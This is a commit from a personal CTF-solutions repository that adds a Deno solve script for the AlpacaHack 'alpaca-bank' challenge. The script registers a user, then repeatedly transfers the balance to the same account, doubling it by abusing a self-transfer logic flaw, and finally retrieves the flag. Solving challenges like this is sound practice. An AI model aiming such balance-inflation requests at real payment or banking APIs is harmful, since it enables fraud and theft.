My solutions for CTFs
Daily AlpacaHack 2025/12/11
Takumi Akimoto
(Dec 12, 2025, 12:42 AM +0900)
5883ef5b
7ae4f045
+33
+5
alpacahack/daily/alpaca-bank/deno.json
+5
alpacahack/daily/alpaca-bank/deno.json
+28
alpacahack/daily/alpaca-bank/solve.ts
+28
alpacahack/daily/alpaca-bank/solve.ts
···
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const BASE_URL = "http://34.170.146.252:30021"
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const { user } = await fetch(`${BASE_URL}/api/register`, {
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method: "POST",
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}).then((res) => res.json())
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let currentBalance = 10
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while (currentBalance < 1_000_000_000_000) {
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await fetch(`${BASE_URL}/api/transfer`, {
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method: "POST",
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headers: {
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"Content-Type": "application/json",
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},
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body: JSON.stringify({
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fromUser: user,
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toUser: user,
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amount: currentBalance,
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}),
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})
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currentBalance *= 2
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}
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const { flag } = await fetch(`${BASE_URL}/api/user/${user}`).then((
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res,
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) => res.json())
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console.log(flag)